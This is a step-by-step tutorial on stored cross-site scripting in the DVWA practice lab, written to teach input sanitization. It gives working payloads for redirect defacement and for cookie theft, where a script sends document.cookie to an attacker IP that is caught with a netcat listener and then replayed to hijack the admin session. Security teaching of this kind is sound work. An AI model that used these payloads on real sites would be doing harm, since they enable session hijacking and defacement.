Defacing and Cookie Stealing with Cross-site scripting

In a cross-site scripting attack (XSS), the attacker inject scripts into input forms, search fields or site URLs, in order to make a website do different tasks when viewed by users. The object of this tutorial is to show the dangers of XSS attacks, why you should never trust user input and always sanitize your input forms, when building a web page.

For this tutorial I will be using Damn Vulnerable Web Application (DWVA), which is a webpage designed to do penetration testing in your own environment, in a safe and legal way. This tutorial will not include the steps needed to set up DWVA*

1. Navigate to your DWVA website – here http://localhost/DVWA-1.0.8/login.php

2. Login with the username admin and password password

3. Click the DVWA Security button

4. Select low in the drop down list and press the Submit button

The XSS test

 

DVWA is now set up to not sanitize any input to forms, which means that absolutely anything you enter will be approved and placed on the webpage.

1. Click the XSS stored button

Here we have a simple guestbook where visitors can enter a message, which will be displayed for everyone to see. The idea is of cause, for the user to input some text, which the next users can read. The message can however, contain small scripts telling the next users webbrowser to execute certain commands. The first attack is to test if the site actually is vulnerable to XSS. We will do this with a small javascript which calls the alert function to open up a alert message in the users webbrowser.

2. Click in the field Name and type test

3. Click in the field Message and type:

[java]<script>alert(1);</script>[/java]
4. Click the Sign Guestbook button

The signed guestbook now appears not to contain any text in the message field. That is because the webbrowser reads script is a part of the websites internal code, and not as a user message to be showed in plain text.

5. Click the XSS stored button again to reload the site

A popup called The page localhost says: opens. The content of the popup is 1. This is the result of your webbrowser reading the javascript we wrote earlier. This is quite harmless, but it proves that that the site is vulnerable. DVWA has a nice feature to easily clean the database and thereby also the messages from then guestbook. We are going do this before trying anything else.

6. Click the Setup button

7. Click the Create / Reset Database button

Defacing with XSS

 

Okay so you might be thinking All right – you can make a popup, big deal! Let’s try using XSS to “deface” the guestbook, by redirecting the users to another site. Again we will use javascript to call a function, this time to open up another website.

1. Click the XSS stored button

2. Click in the field Name and type Deface

3. Click in the field Message and type:

[java]<script>window.location=”https://ifconfig.dk”;</script>[/java]

4. Click the Sign Guestbook button

Again nothing is showed in the text field because the webbrowser do not think that that script is part of a plaintext comment.

5. Click the XSS stored button again to reload the site

You will be redirected to the site ifconfig.dk. Every time the users visit the guestbook their webbrowser will redirect them to ifconfig.dk instead of showing the content of the guestbook. Let’s reset the database again, before the next attack.

6. Go back to http://localhost/DVWA-1.0.8/setup.php and press the Create / Reset Database button

Cookie stealing with XSS

 

Let’s turn it up a notch – in this scenario we have an attacker who is on another computer and has access to our DVWA site, but not as admin. His objective is to set up a XSS attack to steal the admin session cookie, send it to him, and use it to gain access to the admin account.

In this scenario the server running our DVWA site is a Windows computer with the IP address of 192.168.1.16. The attackers computer is running Backtrack, which has the IP address of 192.168.1.14.

1. On the Backtrack computer – navigate to the DWVA website at http://192.168.1.16/DVWA-1.0.8/login.php

2. Login with the username 1337 and password charley

3. Click the XSS stored button

4. Click in the field Name and type Cookie

5. Click in the field Message and type:

[java]<script>new Image().src=”http://192.168.1.14/cookie.php?”+document.cookie;</script>[/java]

6. Click the Sign Guestbook button

What this javascript does, is to try to load an image from the backtrack computer. Along with the request for the image it sends the session cookie from the user who views the guestbook comment to the attackers computer. The site cookie.php does not exist on our backtrack computer, in the real world an attacker would probably set up a php site to receive sessions sent and save them to a file. But in this scenario we will just capture the raw traffic sent to the computer. We can do this by setting up a netcat listener to Listen Verbosly on Port 80 on the Backtrack computer.

7. Open a terminal window and type nc -lvp 80

We are now all set for the attack. The attacker can only wait for the admin to visit the guestbook. Let’s play the role of the unknowing admin for a moment.

8. From the Windows computer visit the site http://localhost/DVWA-1.0.8/login.php

9. Login with the username admin and password password

10. Click the XSS stored button

The unknowing admin will just be shown an empty message with the title Cookie. But behind the scenes a packet containing the session cookie is sent to the attackers computer. Here is what it looks like in Wireshark.

Right – Let’s put on out back hat and play the role of the attacker again. In the Terminal window we will see that a session has been received. We now want to use this session to gain access to the admin account on the DWVA site. This can be done in a variety of ways – here we are going to use a Firefox plugin called Cookies Manager+.

11. On the Backtrack computer open Firefox and install Cookies Manager+

12. Navigate to the DWVA website at http://192.168.1.16/DVWA-1.0.8/

13. Press Tools | Cookie Manager+

The Cookie Manager + tool opens. We now want to replace the session cookie of the user 1337 with the session of the user admin.

14. Double click the session for the host 192.168.1.16 named PHPSSID

15. In the Edit cookie window, replace the value in the field Content with the session id captured in the terminal

16. Press the Save button to close the Edit Cookie window

17. Press the Close button to close the Cookie manager+ tool

18. Press F5 to refresh the page

Voila – the attacker has now gained access to the admin account, without ever knowing the password. There is much more to XSS then this, but I think this demonstrates just how dangerous XSS attacks can be. Hopefully web site developers as well as browser developers, will be aware of this danger, so that users can browse sites without being betrayed by their own webbrowsers.

Notes

 

Whether or not users are hit by XSS attacks is very dependent of the webbrowser used. Some browsers block certain types of XSS attacks which others don’t and visa versa. Using a plugin like noscript in your browser helps since no client-side scripts are will be run without your permission.

*A few pointers for setting up DWVA:
Edit this file to allow access to the site from other client on you network:
www\DVWA-1.0.8\.htaccess
Edit this file to change the maximum characters in the input field:
www\DVWA-1.0.8\vulnerabilities\xss_s\index.php

Credits for the use of DWVA and Cookie stealing goes here and here.